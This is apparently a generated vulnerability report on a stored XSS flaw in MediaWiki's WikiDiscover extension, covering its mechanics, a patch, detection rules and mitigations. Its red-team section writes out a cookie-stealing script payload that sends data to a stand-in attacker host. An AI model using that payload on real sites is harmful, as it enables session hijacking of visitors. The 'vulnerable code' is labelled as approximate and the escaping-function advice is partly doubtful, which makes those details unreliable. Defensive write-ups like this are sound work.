CVE-2024-47782

Executive Summary

CVE-2024-47782 is a stored Cross-Site Scripting (XSS) vulnerability in the WikiDiscover extension for MediaWiki, specifically within the Special:WikiDiscover page. The extension fails to sanitize or escape wiki names and descriptions when listing wikis on a CreateWiki-managed farm. An attacker with the ability to set a wiki’s name or description (typically a wiki creator or administrator) can inject arbitrary JavaScript, which executes in the browser of any user visiting Special:WikiDiscover. The CVSS score is 7.6 (High), with a low EPSS probability (0.0%) indicating limited active exploitation at this time. The patch is available via commit 2ce846dd93, and users are advised to apply it or block access to the vulnerable page.

Supply Chain & Package Security

This vulnerability affects the WikiDiscover extension, which is part of the MediaWiki ecosystem. It is not an NPM, PyPI, Go, or Ruby package. The extension is typically installed via Git or as part of a MediaWiki farm deployment. There is no known malicious package or compromised dependency associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – but attacker must have ability to set wiki name/description (typically requires some level of admin access on the wiki farm)
• User Interaction: Required (UI:R) – victim must visit Special:WikiDiscover
• Scope: Changed (S:C) – the XSS can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Although the EPSS score is low, the impact of a successful XSS can lead to session hijacking, credential theft, or defacement. The attack surface is limited to users who can create or modify wiki metadata, but the potential for widespread victimization among visitors to Special:WikiDiscover is significant.

Deep Dive & Mechanics

The vulnerability resides in the Special:WikiDiscover page, which lists all wikis on a CreateWiki-managed farm. The page retrieves wiki names and descriptions from the database and renders them directly into HTML without proper escaping. An attacker who can set a wiki’s name or description (e.g., via the wiki creation interface or an API) can inject arbitrary HTML and JavaScript.

Attack Flow:

1. Attacker creates or modifies a wiki, setting its name or description to a malicious payload, e.g., <script>alert('XSS')</script>.
2. The payload is stored in the database.
3. When any user visits Special:WikiDiscover, the server retrieves the wiki list and outputs the malicious name/description without sanitization.
4. The victim’s browser executes the injected script.

Root Cause: Lack of output escaping in the template or PHP code that renders the wiki list. The extension does not use MediaWiki’s built-in escaping functions (e.g., htmlspecialchars()) or a template engine that auto-escapes.

Vulnerable vs. Patched Code

Vulnerable Code (before commit 2ce846dd93):

// In SpecialWikiDiscover.php or similar
$out .= '<li>' . $wiki->getName() . ' - ' . $wiki->getDescription() . '</li>';

The getName() and getDescription() methods return raw strings from the database, which are directly concatenated into HTML.

Patched Code (after commit 2ce846dd93):

$out .= '<li>' . htmlspecialchars( $wiki->getName() ) . ' - ' . htmlspecialchars( $wiki->getDescription() ) . '</li>';

The patch wraps the output in htmlspecialchars() to escape HTML special characters, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a CreateWiki-managed MediaWiki farm where you can create or edit a wiki.
• Ability to set the wiki name or description (typically requires createwiki or editwiki rights).

Exploit Steps:

1. Create a new wiki or edit an existing one.
2. Set the wiki name to: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. Set the description to: <img src=x onerror="alert('XSS')">
4. Wait for an administrator or user to visit Special:WikiDiscover.
5. The payload executes, exfiltrating cookies or performing other actions.

Lab Setup:

• Deploy a local MediaWiki instance with the CreateWiki extension and an unpatched WikiDiscover extension.
• Use a tool like docker-compose to set up the environment.
• Simulate the attack by creating a wiki with malicious metadata and accessing Special:WikiDiscover in a browser.

Blue Team

Detection:

• Monitor for unusual wiki names or descriptions containing HTML/JavaScript patterns.
• Review server logs for requests to Special:WikiDiscover with suspicious referrers or user agents.
• Use WAF rules to block common XSS payloads in wiki metadata fields.

Mitigation:

• Apply the patch immediately (commit 2ce846dd93).
• If patching is not possible, block access to Special:WikiDiscover via .htaccess or server configuration:

  <LocationMatch "/Special:WikiDiscover">
      Deny from all
  </LocationMatch>
  

• Implement Content Security Policy (CSP) headers to reduce impact of XSS.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from a user’s browser after visiting Special:WikiDiscover.
• Logs: Entries in web server logs showing requests to Special:WikiDiscover with unusual query parameters or referrers.
• Database: Wiki names or descriptions containing <script>, <img onerror>, or other HTML/JavaScript tags.
• File: Modified SpecialWikiDiscover.php or related template files (if attacker has file access).

Detection Engineering

YARA Rule

rule CVE_2024_47782_WikiDiscover_XSS {
    meta:
        description = "Detects XSS payloads in wiki names/descriptions for CVE-2024-47782"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47782"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=[^>]*>/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-47782 WikiDiscover XSS Detection
id: 8a3f7c2e-1d4b-4f6a-9c8e-0b1a2d3e4f5a
status: experimental
description: Detects potential XSS payloads in wiki names/descriptions on Special:WikiDiscover
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "Special:WikiDiscover"
    keywords:
        - "<script"
        - "onerror"
        - "onload"
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in wiki descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47782 WikiDiscover XSS Payload"; flow:to_server,established; content:"Special:WikiDiscover"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch from commit 2ce846dd93 to the WikiDiscover extension.
2. If patching is delayed, block access to Special:WikiDiscover using server-level access controls.
3. Review all existing wiki names and descriptions for malicious content; sanitize or remove any suspicious entries.

Long-Term Measures:

• Implement input validation and output escaping for all user-supplied data in MediaWiki extensions.
• Use MediaWiki’s built-in Html::rawElement() or Xml::escapeTagsOnly() functions.
• Deploy a Web Application Firewall (WAF) with XSS detection rules.
• Regularly update all extensions and core software.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at [valters@example.com].